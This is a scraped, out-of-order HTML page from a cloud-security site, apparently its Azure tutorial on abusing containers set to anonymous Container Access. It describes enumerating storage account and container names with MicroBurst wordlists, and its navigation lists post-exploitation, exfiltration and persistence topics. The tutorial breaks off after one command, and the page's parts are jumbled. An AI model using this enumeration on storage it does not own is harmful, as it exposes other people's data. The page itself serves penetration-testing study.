class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../aws/deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3 checked> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=true> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Anonymous Blob Access </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Anonymous Blob Access </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#exploiting-anonymous-blob-access class=md-nav__link> <span class=md-ellipsis> Exploiting Anonymous Blob Access </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#exploiting-anonymous-blob-access class=md-nav__link> <span class=md-ellipsis> Exploiting Anonymous Blob Access </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by andrei8055</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/azure/anonymous-blob-access.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Anonymous Blob Access</h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <p><a href=https://0xpwn.wordpress.com/2022/03/05/setting-up-an-azure-pentest-lab-part-1-anonymous-blob-access/ >Create an Azure Vulnerable Lab: Part #1 – Anonymous Blob Access</a> by <a href=https://tripla.dk/author/drag0nus/ >Andrei Agape</a></p> </li> </ul> </div> <p>"Storage Accounts" is the service provided by Azure to store data in the cloud. A storage account can used to store:</p> <ul> <li>Blobs</li> <li>File shares</li> <li>Tables</li> <li>Queues</li> <li>VM disks</li> </ul> <p><a class=glightbox href=../../images/azure/anonyous-blob-access/Azure%20Storage%20Types.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Azure Storage Account" src=../../images/azure/anonyous-blob-access/Azure%20Storage%20Types.png></a></p> <p>For this tutorial, we will focus on the Blobs section. Blobs are stored within a container, and we can have multiple containers within a storage account. When we create a container, Azure will ask on the permissions that we grant for public access. We can chose between:</p> <ul> <li>Private Access – no anonymous access is allowed</li> <li>Blob Access – we can access the blobs anonymously, as long as we know the full URL (container name + blob name)</li> <li>Container Access – we can access the blobs anonymously, as long we know the container name (directory listing is enabled, and we can see all the files stored inside the container)</li> </ul> <p>As you might have guessed, granting Container Access permission can be easily abused to download all the files stored within the container without any permissions as the only things required to be known are the storage account name and the container name, both of which can be enumerated with wordlists.</p> <h2 id=exploiting-anonymous-blob-access>Exploiting Anonymous Blob Access<a class=headerlink href=#exploiting-anonymous-blob-access title="Permanent link">&para;</a></h2> <p>Now, there are thousands of articles explaining how this can be abused and how to search for insecure storage in Azure, but to make things easier I’ll do a TL:DR. One of the easiest way is to use MicroBurst, provide the storage account name to search for, and it’ll check if the containers exists based on a wordlist saved in the Misc/permutations.txt:</p> <div class=highlight><pre><span></span><code>PS &gt; import-module .\MicroBurst.psm1
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#exploiting-anonymous-blob-access class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Anonymous Blob Access </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class=md-tabs__item> <a href=../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex=0> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/connection-tracking/ class=md-nav__link> <span 